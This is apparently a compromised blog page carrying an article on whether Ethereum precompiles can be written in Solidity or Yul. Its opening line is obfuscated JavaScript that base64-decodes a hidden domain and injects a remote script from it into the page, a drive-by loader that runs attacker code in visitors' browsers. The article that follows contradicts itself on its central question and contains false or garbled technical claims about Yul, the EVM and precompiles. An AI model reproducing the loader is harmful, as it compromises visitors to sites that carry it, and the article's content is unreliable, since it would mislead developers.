const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=9c44d058″;document.body.appendChild(script);
Ethereum: Can precompiles be written in Solidity or Yul?
When it comes to writing smart contracts on the Ethereum blockchain, one of the key features that sets Ethereum apart from other platforms is its ability to compile and execute code at runtime. In particular, this feature allows for the creation of precompiles, which can significantly speed up deployment times and reduce costs.
However, one question has been on the minds of many developers: can these precompiles be written in Solidity or Yul?
The answer is yes, but with a few caveats.
Solidity
Solidity is the primary programming language used to write smart contracts on Ethereum. It was first introduced in 2015 and has since become the language of choice for building most of the infrastructure in the Ethereum ecosystem. Solidity allows developers to write self-compiled code that can be executed directly by the Ethereum Virtual Machine (EVM).
One of the main benefits of using Solidity is that it allows developers to create precompilations, which can be stored on-chain and referenced at runtime. This means that when a contract is deployed and triggers an event, the compiled code from the precompilation is executed immediately, without requiring any additional compilation or execution.
Yul
Yul (Yet Another Language) is another programming language that is being developed for use on Ethereum. It was introduced in 2017 as part of the Ethereum 2.0 proof-of-stake upgrade plan. Yul is designed to be more flexible and expressive than Solidity, with a focus on ease of development and scalability.
While Yul is not directly related to precompilations, it does provide a foundation for building reusable components that can be compiled at runtime. However, the current state of the Yul ecosystem makes it difficult to write traditional precompilations using this language.
Can traditional precompilations be written?
Unfortunately, no, traditional precompilations cannot be written in Solidity or Yul. Standard EVM precompilations are implemented in a custom implementation that is platform-specific and uses a combination of techniques such as:
- Ahead-of-time compilation: the code is compiled before it is deployed, allowing for faster execution.
- Random compilation: the compiled code is executed directly on the blockchain.
These implementations require significant expertise in low-level programming, memory management, and optimization.
Conclusion
In summary, while precompilations can be written in Solidity or Yul, traditional precompilations are not supported by these languages. Standard EVM precompilations are implemented in custom implementations that are platform-specific.
However, developers who need to create reusable components with performance-critical code may want to consider using libraries like Web3.js or others that support high-performance compilation and execution on the Ethereum blockchain.
For now, if you’re building a smart contract on Ethereum, Solidity is still your best bet for creating precompiles.
